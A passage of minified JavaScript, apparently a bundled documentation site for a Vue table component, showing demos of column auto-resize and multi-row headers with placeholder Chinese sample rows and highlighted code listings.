strict";Object.defineProperty(exports,"__esModule",{value:!0}),exports.default={data:function(){return{tableData:[{name:"赵伟",tel:"156*****1987",hobby:"钢琴、书法、唱歌",address:"上海市黄浦区金陵东路569号17楼"},{name:"李伟",tel:"182*****1538",hobby:"钢琴、书法、唱歌",address:"上海市奉贤区南桥镇立新路12号2楼"},{name:"孙伟",tel:"161*****0097",hobby:"钢琴、书法、唱歌",address:"上海市崇明县城桥镇八一路739号"},{name:"周伟",tel:"197*****1123",hobby:"钢琴、书法、唱歌",address:"上海市青浦区青浦镇章浜路24号"},{name:"吴伟",tel:"183*****6678",hobby:"钢琴、书法、唱歌",address:"上海市松江区乐都西路867-871号"}],columns:[{field:"name",title:"姓名",width:80,titleAlign:"center",columnAlign:"center",isResize:!0},{field:"tel",title:"手机号码",width:150,titleAlign:"center",columnAlign:"center",isResize:!0},{field:"hobby",title:"爱好",width:150,titleAlign:"center",columnAlign:"center",isResize:!0},{field:"address",title:"地址",width:280,titleAlign:"center",columnAlign:"left",isResize:!0}]}}}},"l+Gz":function(module,exports,s){module.exports=s("X5dO")},lZ6B:function(module,exports,s){module.exports={render:function(){var s=this,t=s.$createElement,a=s._self._c||t;return a("section",[a("demo-box",{attrs:{jsfiddle:{html:'<template>\n <v-table is-horizontal-resize style="width:100%" :columns="columns" :table-data="tableData" row-hover-color="#eee" row-click-color="#edf7ff"></v-table>\n</template>\n\n\n',script:'\n\n export default{\n data() {\n return {\n tableData: [\n {"name":"赵伟","tel":"156*****1987","hobby":"钢琴、书法、唱歌","address":"上海市黄浦区金陵东路569号17楼"},\n {"name":"李伟","tel":"182*****1538","hobby":"钢琴、书法、唱歌","address":"上海市奉贤区南桥镇立新路12号2楼"},\n {"name":"孙伟","tel":"161*****0097","hobby":"钢琴、书法、唱歌","address":"上海市崇明县城桥镇八一路739号"},\n {"name":"周伟","tel":"197*****1123","hobby":"钢琴、书法、唱歌","address":"上海市青浦区青浦镇章浜路24号"},\n {"name":"吴伟","tel":"183*****6678","hobby":"钢琴、书法、唱歌","address":"上海市松江区乐都西路867-871号"}\n ],\n columns: [\n {field: \'name\', title: \'姓名\', width: 80, titleAlign: \'center\', columnAlign: \'center\',isResize:true},\n {field: \'tel\', title: \'手机号码\', width: 150, titleAlign: \'center\', columnAlign: \'center\',isResize:true},\n {field: \'hobby\', title: \'爱好\', width: 150, titleAlign: \'center\', columnAlign: \'center\',isResize:true},\n {field: \'address\', title: \'地址\', width: 280, titleAlign: \'center\', columnAlign: \'left\',isResize:true}\n ]\n }\n }\n }\n',style:null},showDemo:!0}},[a("div",{attrs:{slot:"effectHtml"},slot:"effectHtml"},[[a("v-table",{staticStyle:{width:"100%"},attrs:{"is-horizontal-resize":"",columns:s.columns,"table-data":s.tableData,"row-hover-color":"#eee","row-click-color":"#edf7ff"}})]],2),s._v(" "),a("div",{attrs:{slot:"codeDescription"},slot:"codeDescription"},[a("p",[s._v("自适应分为"),a("strong",[s._v("纵向自适应")]),s._v("(高自适应) 和 "),a("strong",[s._v("横向自适应")]),s._v("(宽自适应)。")]),s._v(" "),a("p",[s._v("如果是"),a("strong",[s._v("横向自适应")]),s._v("需要满足下面条件:")]),s._v(" "),a("ul",[a("li",[s._v("通过 "),a("code",[s._v("is-horizontal-resize")]),s._v(" 属性设置横向自适应;")])]),s._v(" "),a("ul",[a("li",[s._v("通过 "),a("code",[s._v("isResize")]),s._v(" 属性设置哪些列需要自适应(所有列都可以设置,达到所有列自适应);")])]),s._v(" "),a("ul",[a("li",[s._v("通过 "),a("code",[s._v('style="width:100%"')]),s._v(" 设置显示比例(百分比的值根据需求而定);")])]),s._v(" "),a("ul",[a("li",[s._v("每个列必须提供宽度,这个宽度是自适应的最小宽度;")])]),s._v(" "),a("p",[s._v("如果是"),a("strong",[s._v("纵向自适应")]),s._v("只需要设置"),a("code",[s._v("is-vertical-resize=true")]),s._v("即可")])]),s._v(" "),a("div",{attrs:{slot:"codeHighlight"},slot:"codeHighlight"},[a("pre",{pre:!0},[a("code",{pre:!0,attrs:{"v-pre":"",class:"hljs language-html"}},[a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("<"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("template")]),s._v(">")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("<"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("v-table")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("is-horizontal-resize")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("style")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"width:100%"')]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v(":columns")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"columns"')]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v(":table-data")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"tableData"')]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("row-hover-color")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"#eee"')]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("row-click-color")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"#edf7ff"')]),s._v("\n >")]),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("</"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("v-table")]),s._v(">")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("</"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("template")]),s._v(">")]),s._v("\n\n"),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("<"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("script")]),s._v(">")]),a("span",{pre:!0,attrs:{class:"javascript"}},[s._v("\n\n "),a("span",{pre:!0,attrs:{class:"hljs-keyword"}},[s._v("export")]),s._v(" "),a("span",{pre:!0,attrs:{class:"hljs-keyword"}},[s._v("default")]),s._v("{\n data() {\n "),a("span",{pre:!0,attrs:{class:"hljs-keyword"}},[s._v("return")]),s._v(" {\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("tableData")]),s._v(": [\n {"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"name"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"赵伟"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"tel"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"156*****1987"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"hobby"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"钢琴、书法、唱歌"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"address"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"上海市黄浦区金陵东路569号17楼"')]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"name"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"李伟"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"tel"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"182*****1538"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"hobby"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"钢琴、书法、唱歌"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"address"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"上海市奉贤区南桥镇立新路12号2楼"')]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"name"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"孙伟"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"tel"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"161*****0097"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"hobby"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"钢琴、书法、唱歌"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"address"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"上海市崇明县城桥镇八一路739号"')]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"name"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"周伟"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"tel"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"197*****1123"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"hobby"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"钢琴、书法、唱歌"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"address"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"上海市青浦区青浦镇章浜路24号"')]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"name"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"吴伟"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"tel"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"183*****6678"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"hobby"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"钢琴、书法、唱歌"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"address"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"上海市松江区乐都西路867-871号"')]),s._v("}\n ],\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("columns")]),s._v(": [\n {"),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("field")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'name'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("title")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'姓名'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("width")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-number"}},[s._v("80")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("titleAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("columnAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("isResize")]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-literal"}},[s._v("true")]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("field")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'tel'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("title")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'手机号码'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("width")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-number"}},[s._v("150")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("titleAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("columnAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("isResize")]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-literal"}},[s._v("true")]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("field")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'hobby'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("title")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'爱好'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("width")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-number"}},[s._v("150")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("titleAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("columnAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("isResize")]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-literal"}},[s._v("true")]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("field")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'address'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("title")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'地址'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("width")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-number"}},[s._v("280")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("titleAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("columnAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'left'")]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("isResize")]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-literal"}},[s._v("true")]),s._v("}\n ]\n }\n }\n }\n")]),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("</"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("script")]),s._v(">")]),s._v("\n")])])])])],1)},staticRenderFns:[]},module.exports.render._withStripped=!0},pC98:function(module,exports,s){module.exports={render:function(){var s=this,t=s.$createElement,a=s._self._c||t;return a("section",[a("demo-box",{attrs:{jsfiddle:{html:'<template>\n <div>\n <v-table is-horizontal-resize style="width:100%" :height="300" even-bg-color="#f2f2f2" :title-rows="titleRows" :columns="columns" :table-data="tableData" row-hover-color="#eee" row-click-color="#edf7ff"></v-table>\n </div>\n</template>\n\n\n\n\n',script:'\n\n export default{\n data(){\n return {\n multipleSort: false,\n tableData: [\n {"name":"赵伟","gender":"男","height":"183","email":"[email protected]","tel":"156*****1987","hobby":"钢琴、书法、唱歌","address":"上海市黄浦区金陵东路569号17楼"},\n {"name":"李伟","gender":"男","height":"166","email":"[email protected]","tel":"182*****1538","hobby":"钢琴、书法、唱歌","address":"上海市奉贤区南桥镇立新路12号2楼"},\n {"name":"孙伟","gender":"女","height":"186","email":"[email protected]","tel":"161*****0097","hobby":"钢琴、书法、唱歌","address":"上海市崇明县城桥镇八一路739号"},\n {"name":"周伟","gender":"女","height":"188","email":"[email protected]","tel":"197*****1123","hobby":"钢琴、书法、唱歌","address":"上海市青浦区青浦镇章浜路24号"},\n {"name":"吴伟","gender":"男","height":"160","email":"[email protected]","tel":"183*****6678","hobby":"钢琴、书法、唱歌","address":"上海市松江区乐都西路867-871号"},\n {"name":"冯伟","gender":"女","height":"168","email":"[email protected]","tel":"133*****3793","hobby":"钢琴、书法、唱歌","address":"上海市金山区龙胜路143号一层"}\n ],\n columns: [\n {\n field: \'custome\', width: 50, titleAlign: \'center\', columnAlign: \'center\',\n formatter: function (rowData, index) {\n return index < 3 ? \'<span style="color:red;font-weight: bold;">\' + (index + 1) + \'</span>\' : index + 1\n }, isFrozen: true\n },\n {field: \'name\', width: 100, columnAlign: \'center\', isFrozen: true,isResize:true},\n {field: \'gender\', width: 150, columnAlign: \'center\', isFrozen: true},\n {field: \'height\', width: 150, columnAlign: \'center\', isFrozen: true},\n {field: \'tel\', width: 150, columnAlign: \'center\'},\n {field: \'email\', width: 200, columnAlign: \'center\'},\n {field: \'hobby\', width: 200, columnAlign: \'center\',isResize:true},\n {field: \'address\', width: 330, columnAlign: \'left\',isResize:true}\n ],\n titleRows: [\n [{fields: [\'custome\'], title: \'排序\', titleAlign: \'center\', rowspan: 2},\n {fields: [\'name\', \'gender\', \'height\'], title: \'基础信息\', titleAlign: \'center\', colspan: 3},\n {fields: [\'tel\', \'email\'], title: \'联系方式\', titleAlign: \'center\', colspan: 2},\n {fields: [\'hobby\',\'address\'], title: \'爱好及地址\', titleAlign: \'center\', rowspan: 2,colspan: 2}],\n\n [{fields: [\'name\'], title: \'姓名\', titleAlign: \'center\'},\n {fields: [\'gender\'], title: \'性别\', titleAlign: \'center\', orderBy: \'asc\'},\n {fields: [\'height\'], title: \'身高\', titleAlign: \'center\', orderBy: \'desc\'},\n {fields: [\'tel\'], title: \'手机号码\', titleAlign: \'center\'},\n {fields: [\'email\'], title: \'邮箱\', titleAlign: \'center\'}],\n\n [{fields: [\'custome\',\'name\',\'gender\',\'height\'], title: \'平均值\', titleAlign: \'center\', colspan: 4,titleCellClassName:\'title-cell-class-name-test1\'},\n {fields: [\'tel\'], title: \'000\', titleAlign: \'center\',titleCellClassName:\'title-cell-class-name-test2\'},\n {fields: [\'email\'], title: \'111\', titleAlign: \'center\',titleCellClassName:\'title-cell-class-name-test2\'},\n {fields: [\'hobby\'], title: \'222\', titleAlign: \'center\',titleCellClassName:\'title-cell-class-name-test2\'},\n {fields: [\'address\'], title: \'333\', titleAlign: \'center\',titleCellClassName:\'title-cell-class-name-test2\'}]\n ],\n }\n }\n }\n',style:"\n .title-cell-class-name-test1 {\n background-color: #2db7f5;\n }\n .title-cell-class-name-test2 {\n background-color: #f60;\n }\n"},showDemo:!0}},[a("div",{attrs:{slot:"effectHtml"},slot:"effectHtml"},[[a("div",[a("v-table",{staticStyle:{width:"100%"},attrs:{"is-horizontal-resize":"",height:300,"even-bg-color":"#f2f2f2","title-rows":s.titleRows,columns:s.columns,"table-data":s.tableData,"row-hover-color":"#eee","row-click-color":"#edf7ff"}})],1)]],2),s._v(" "),a("div",{attrs:{slot:"codeDescription"},slot:"codeDescription"},[a("p",[s._v("复杂表格自适应配置与简单表格一样,你可以"),a("strong",[s._v("改变浏览器窗口大小")]),s._v("看效果")])]),s._v(" "),a("div",{attrs:{slot:"codeHighlight"},slot:"codeHighlight"},[a("pre",{pre:!0},[a("code",{pre:!0,attrs:{"v-pre":"",class:"hljs language-html"}},[a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("<"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("template")]),s._v(">")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("<"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("div")]),s._v(">")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("<"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("v-table")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("is-horizontal-resize")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("style")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"width:100%"')]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v(":height")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"300"')]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("even-bg-color")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"#f2f2f2"')]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v(":title-rows")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"titleRows"')]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v(":columns")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"columns"')]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v(":table-data")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"tableData"')]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("row-hover-color")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"#eee"')]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("row-click-color")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"#edf7ff"')]),s._v("\n >")]),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("</"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("v-table")]),s._v(">")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("</"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("div")]),s._v(">")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("</"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("template")]),s._v(">")]),s._v("\n\n"),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("<"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("style")]),s._v(">")]),a("span",{pre:!0,attrs:{class:"css"}},[s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-selector-class"}},[s._v(".title-cell-class-name-test1")]),s._v(" {\n "),a("span",{pre:!0,attrs:{class:"hljs-attribute"}},[s._v("background-color")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-number"}},[s._v("#2db7f5")]),s._v(";\n }\n "),a("span",{pre:!0,attrs:{class:"hljs-selector-class"}},[s._v(".title-cell-class-name-test2")]),s._v(" {\n "),a("span",{pre:!0,attrs:{class:"hljs-attribute"}},[s._v("background-color")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-number"}},[s._v("#f60")]),s._v(";\n }\n")]),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("</"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("style")]),s._v(">")]),s._v("\n\n"),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("<"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("script")]),s._v(">")]),a("span",{pre:!0,attrs:{class:"javascript"}},[s._v("\n\n "),a("span",{pre:!0,attrs:{class:"hljs-keyword"}},[s._v("export")]),s._v(" "),a("span",{pre:!0,attrs:{class:"hljs-keyword"}},[s._v("default")]),s._v("{\n data(){\n "),a("span",{pre:!0,attrs:{class:"hljs-keyword"}},[s._v("return")]),s._v(" {\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("multipleSort")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-literal"}},[s._v("false")]),s._v(",\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("tableData")]),s._v(": [\n {"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"name"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"赵伟"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"gender"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"男"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"height"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"183"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"email"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"[email protected]"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"tel"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"156*****1987"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"hobby"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"钢琴、书法、唱歌"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"address"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"上海市黄浦区金陵东路569号17楼"')]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"name"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"李伟"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"gender"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"男"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"height"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"166"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"email"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"[email protected]"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"tel"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"182*****1538"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"hobby"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"钢琴、书法、唱歌"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"address"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"上海市奉贤区南桥镇立新路12号2楼"')]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"name"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"孙伟"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"gender"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"女"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"height"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"186"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"email"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"[email protected]"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"tel"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"161*****0097"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"hobby"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"钢琴、书法、唱歌"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"address"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"上海市崇明县城桥镇八一路739号"')]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"name"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"周伟"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"gender"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"女"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"height"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"188"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"email"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"[email protected]"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"tel"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"197*****1123"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"hobby"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"钢琴、书法、唱歌"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"address"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"上海市青浦区青浦镇章浜路24号"')]),s._v("},\n 